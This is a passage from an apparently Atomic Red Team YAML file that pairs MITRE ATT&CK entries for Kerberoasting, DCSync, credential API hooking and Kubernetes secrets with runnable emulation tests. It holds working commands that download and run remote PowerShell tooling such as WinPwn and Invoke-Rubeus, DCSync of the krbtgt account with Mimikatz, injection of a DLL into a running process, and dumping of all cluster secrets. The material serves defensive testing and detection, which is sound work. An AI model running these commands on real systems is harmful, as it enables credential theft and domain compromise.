      auto_generated_guid: 14625569-6def-4497-99ac-8e7817105b55
      description: |
        Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
        This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
      supported_platforms:
      - windows
      input_arguments:
        local_folder:
          description: Local path of Rubeus executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads
        local_executable:
          description: name of the rubeus executable
          type: string
          default: rubeus.exe
        out_file:
          description: file where command results are stored
          type: string
          default: rubeus_output.txt
        rubeus_url:
          description: URL of Rubeus executable
          type: url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
        flags:
          description: command flags you would like to run (optional and blank by
            default)
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      - description: 'Rubeus must exist

          '
        prereq_command: 'if(Test-Path -Path "#{local_folder}\#{local_executable}")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-Webrequest -Uri #{rubeus_url} -OutFile "#{local_folder}\#{local_executable}"
      executor:
        command: |
          klist purge
          cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}"
        cleanup_command: 'Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore

          '
        name: powershell
        elevation_required: false
    - name: Extract all accounts in use as SPN using setspn
      auto_generated_guid: e6f4affd-d826-4871-9a62-6c9004b8fe06
      description: "The following test will utilize setspn to extract the Service
        Principal Names. This behavior is typically used during a kerberos or silver
        ticket attack. \nA successful execution will output all the SPNs for the related
        domain. \n"
      supported_platforms:
      - windows
      input_arguments:
        domain_name:
          description: The Domain Name to lookup against
          type: string
          default: "%USERDNSDOMAIN%"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      executor:
        command: 'setspn -T #{domain_name} -Q */*

          '
        name: command_prompt
    - name: Request A Single Ticket via PowerShell
      auto_generated_guid: 988539bc-2ed7-4e62-aec6-7c5cf6680863
      description: "The following test will utilize native PowerShell Identity modules
        to query the domain to extract the Service Principal Names for a single computer.
        This behavior is typically used during a kerberos or silver ticket attack.
        \nA successful execution will output the SPNs for the endpoint in question.\n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      executor:
        command: "Add-Type -AssemblyName System.IdentityModel\n$ComputerFQDN=$env:LogonServer.trimStart('\\')
          + \".\" + $env:UserDnsDomain\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
          -ArgumentList \"HTTP/$ComputerFQDN\" \n"
        name: powershell
    - name: Request All Tickets via PowerShell
      auto_generated_guid: 902f4ed2-1aba-4133-90f2-cff6d299d6da
      description: "The following test will utilize native PowerShell Identity modules
        to query the domain to extract allthe Service Principal Names. This behavior
        is typically used during a kerberos or silver ticket attack. \nA successful
        execution will output the SPNs for the domain in question.\n"
      supported_platforms:
      - windows
      input_arguments:
        domain_name:
          description: The Domain Name to lookup against
          type: string
          default: "%USERDNSDOMAIN%"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      executor:
        command: "Add-Type -AssemblyName System.IdentityModel  \nsetspn.exe -T #{domain_name}
          -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
          -ArgumentList $_.Context.PostContext[0].Trim() }  \n"
        name: powershell
    - name: WinPwn - Kerberoasting
      auto_generated_guid: 78d10e20-c874-45f2-a9df-6fea0120ec27
      description: Kerberoasting technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          Kerberoasting -consoleoutput -noninteractive
        name: powershell
    - name: WinPwn - PowerSharpPack - Kerberoasting Using Rubeus
      auto_generated_guid: 29094950-2c96-4cbd-b5e4-f7c65079678f
      description: PowerSharpPack - Kerberoasting Using Rubeus technique via function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
          Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap"
        name: powershell
  T1003.006:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - ExtraHop
      - Vincent Le Toux
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163
      type: attack-pattern
      created: '2020-02-11T18:45:34.293Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1003.006
        url: https://attack.mitre.org/techniques/T1003/006
      - url: https://msdn.microsoft.com/library/cc228086.aspx
        description: Microsoft. (2017, December 1). MS-DRSR Directory Replication
          Service (DRS) Remote Protocol. Retrieved December 4, 2017.
        source_name: Microsoft DRSR Dec 2017
      - url: https://msdn.microsoft.com/library/dd207691.aspx
        description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December
          4, 2017.
        source_name: Microsoft GetNCCChanges
      - url: https://wiki.samba.org/index.php/DRSUAPI
        description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.
        source_name: Samba DRSUAPI
      - url: https://source.winehq.org/WineAPI/samlib.html
        description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.
        source_name: Wine API samlib.dll
      - url: https://adsecurity.org/?p=1729
        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
          and Detection. Retrieved August 7, 2017.
        source_name: ADSecurity Mimikatz DCSync
      - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
          Oh My. Retrieved August 7, 2017.
        source_name: Harmj0y Mimikatz and DCSync
      - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
        description: Warren, J. (2017, July 11). Manipulating User Passwords with
          Mimikatz. Retrieved December 4, 2017.
        source_name: InsiderThreat ChangeNTLM July 2017
      - url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
        description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved
          August 7, 2017.
        source_name: GitHub Mimikatz lsadump Module
      - url: https://msdn.microsoft.com/library/cc237008.aspx
        description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol.
          Retrieved December 6, 2017.
        source_name: Microsoft NRPC Dec 2017
      - url: https://msdn.microsoft.com/library/cc245496.aspx
        description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote
          Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.
        source_name: Microsoft SAMR
      - url: https://adsecurity.org/?p=1729
        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
          and Detection. Retrieved December 4, 2017.
        source_name: AdSecurity DCSync Sept 2015
      - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
          Oh My. Retrieved December 4, 2017.
        source_name: Harmj0y DCSync Sept 2015
      modified: '2022-04-25T14:00:00.188Z'
      name: 'OS Credential Dumping: DCSync'
      description: |-
        Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.

        Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)

        DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: |-
        Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)

        Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Access'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1003.006
    atomic_tests:
    - name: DCSync (Active Directory)
      auto_generated_guid: 129efd28-8497-4c87-a1b0-73b9a870ca3e
      description: |
        Active Directory attack allowing retrieval of account information without accessing memory or retrieving the NTDS database.
        Works against a remote Windows Domain Controller using the replication protocol.
        Privileges required: domain admin or domain controller account (by default), or any other account with required rights.
        [Reference](https://adsecurity.org/?p=1729)
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Targeted Active Directory domain
          type: string
          default: "%userdnsdomain%"
        user:
          description: Targeted user
          type: string
          default: krbtgt
        mimikatz_path:
          description: Mimikatz windows executable
          type: path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      executor:
        name: command_prompt
        elevation_required: false
        command: '#{mimikatz_path} "lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}"
          "exit"

          '
    - name: Run DSInternals Get-ADReplAccount
      auto_generated_guid: a0bced08-3fc5-4d8b-93b7-e8344739376e
      description: "The following Atomic will run Get-ADReplAccount from DSInternals.\nUpon
        successful execution, domain and credentials will appear in stdout. \n[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/)
        CrowdStrike StellarParticle.\nhttps://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/\n"
      supported_platforms:
      - windows
      input_arguments:
        logonserver:
          description: ComputerName argument default %logonserver%
          type: string
          default: $ENV:logonserver.TrimStart("\")
      dependency_executor_name: powershell
      dependencies:
      - description: 'DSInternals must be installed

          '
        prereq_command: |
          $RequiredModule = Get-Module -Name DSInternals -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['DSInternals']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name DSInternals -Scope CurrentUser -Force

          '
      executor:
        command: 'Get-ADReplAccount -All -Server #{logonserver}

          '
        name: powershell
        elevation_required: false
  T1556:
    technique:
      modified: '2024-04-11T21:51:44.851Z'
      name: Modify Authentication Process
      description: |-
        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Chris Ross @xorrior
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain
        controller and/or local computer. Monitor for changes to Registry entries
        for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification
        Packages</code>) and correlate then investigate the DLL files these files
        reference. \n\nPassword filters will also show up as an autorun and loaded
        DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor
        for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe
        running on a domain controller as well as for malicious modifications to functions
        exported from authentication-related system DLLs (such as cryptdll.dll and
        samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module
        paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools
        such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor
        for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation:
        Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity
        audit policies across the enterprise and with externally accessible services.
        (Citation: TechNet Audit Policy) Look for suspicious account behavior across
        systems that share accounts, either user, admin, or service accounts. Examples:
        one account logged into multiple systems simultaneously; multiple accounts
        logged into the same machine simultaneously; accounts logged in at odd times
        or outside of business hours. Activity may be from interactive login sessions
        or process ownership from accounts being used to execute binaries on a remote
        system as a particular account. Correlate other security systems with login
        information (e.g., a user has an active login session but has not entered
        the building or does not have VPN access).\n\nMonitor property changes in
        Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)).
        The <code>Store passwords using reversible encryption</code> configuration
        should be set to Disabled. Additionally, monitor and/or block suspicious command/script
        execution of <code>-AllowReversiblePasswordEncryption $true</code>, <code>Set-ADUser</code>
        and <code>Set-ADAccountControl</code>. Finally, monitor Fine-Grained Password
        Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
      - Azure AD
      - Google Workspace
      - IaaS
      - Office 365
      - SaaS
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Process: Process Access'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'User Account: User Account Authentication'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'File: File Creation'
      - 'User Account: User Account Modification'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Cloud Service: Cloud Service Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      type: attack-pattern
      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
      created: '2020-02-11T19:01:56.887Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556
        external_id: T1556
      - source_name: Clymb3r Function Hook Passwords Sept 2013
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
      - source_name: Xorrior Authorization Plugins
        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
          Authorization Plugins. Retrieved April 22, 2021.
        url: https://xorrior.com/persistent-credential-theft/
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - source_name: dump_pwd_dcsync
        description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for
          All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.
        url: https://adsecurity.org/?p=2053
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1056.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6
      type: attack-pattern
      created: '2020-02-11T19:01:15.930Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1056.004
        url: https://attack.mitre.org/techniques/T1056/004
      - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
        description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
          Retrieved December 18, 2017.
        url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
      - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
        description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
        source_name: Microsoft Hook Overview
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
        description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
          Retrieved December 12, 2017.'
        source_name: Adlice Software IAT Hooks Oct 2014
      - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
        description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
          Mode. Retrieved December 20, 2017.'
        source_name: MWRInfoSecurity Dynamic Hooking 2015
      - url: https://www.exploit-db.com/docs/17802.pdf
        description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
          December 12, 2017.
        source_name: HighTech Bridge Inline Hooking Sept 2011
      - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
        description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
          Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
        source_name: Volatility Detecting Hooks Sept 2012
      - url: https://github.com/prekageo/winhook
        description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
        source_name: PreKageo Winhook Jul 2011
      - url: https://github.com/jay/gethooks
        description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
          12, 2017.
        source_name: Jay GetHooks Sept 2011
      - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
        description: Felici, M. (2006, December 6). Any application-defined hook procedure
          on my machine?. Retrieved December 12, 2017.
        source_name: Zairon Hooking Dec 2006
      - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
        description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
          against user-land. Retrieved December 12, 2017.'
        source_name: EyeofRa Detecting Hooking June 2017
      - url: http://www.gmer.net/
        description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
        source_name: GMER Rootkits
      - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
        description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
          December 12, 2017.
        source_name: Microsoft Process Snapshot
      - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
        description: Stack Exchange - Security. (2012, July 31). What are the methods
          to find hooked functions and APIs?. Retrieved December 12, 2017.
        source_name: StackExchange Hooks Jul 2012
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Input Capture: Credential API Hooking'
      description: |
        Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

        * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
        * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
        * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: |-
        Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)

        Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.

        Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1056.004
    atomic_tests:
    - name: Hook PowerShell TLS Encrypt/Decrypt Messages
      auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33
      description: 'Hooks functions in PowerShell to read TLS Communications

        '
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: Dll To Inject
          type: path
          default: PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll
        server_name:
          description: TLS Server To Test Get Request
          type: url
          default: https://www.example.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1056.004x64.dll must exist on disk at specified location (#{file_name})

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing
      executor:
        command: |
          mavinject $pid /INJECTRUNNING "#{file_name}"
          Invoke-WebRequest #{server_name} -UseBasicParsing
        name: powershell
        elevation_required: true
  T1552.007:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Kubernetes List Secrets
      description: "Adversaries may gather credentials via APIs within a containers
        environment. APIs in these environments, such as the Docker API and Kubernetes
        APIs, allow a user to remotely manage their container resources and cluster
        components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary
        may access the Docker API to collect logs that contain credentials to cloud,
        container, and various other resources in the environment.(Citation: Unit
        42 Unsecured Docker Daemons) An adversary with sufficient permissions, such
        as via a pod's service account, may also use the Kubernetes API to retrieve
        credentials from the Kubernetes API server. These credentials may include
        those needed for Docker API authentication or secrets from Kubernetes cluster
        components. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Jay Chen, Palo Alto Networks
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.

        It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436
      created: '2021-03-31T14:01:52.321Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1552/007
        external_id: T1552.007
      - source_name: Unit 42 Unsecured Docker Daemons
        description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques
          in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.
        url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
      - source_name: Docker API
        description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved
          March 31, 2021.
        url: https://docs.docker.com/engine/api/v1.41/
      - source_name: Kubernetes API
        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
          March 29, 2021.
        url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1552.007
    atomic_tests:
    - name: List All Secrets
      auto_generated_guid: 31e794c4-48fd-4a76-aca4-6587c155bc11
      description: |
        A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services or provide further access to the cluster.
        [More information about secrets](https://kubernetes.io/docs/concepts/configuration/secret/).

        This test will make a request to the Kubernetes api at the `/api/v1/secrets` endpoint requesting every secret stored within the cluster.
      supported_platforms:
      - containers
      dependencies:
      - description: 'kubectl must be installed

          '
        prereq_command: 'which kubectl

          '
        get_prereq_command: 'echo "kubectl not installed, please install kubectl (https://kubernetes.io/docs/tasks/tools/)"

          '
      executor:
        command: 'kubectl get secrets --all-namespaces

          '
        name: bash
        elevation_required: false
    - name: ListSecrets
      auto_generated_guid: 43c3a49d-d15c-45e6-b303-f6e177e44a9a
      description: 'A Kubernetes secret is an object that lets users store and manage
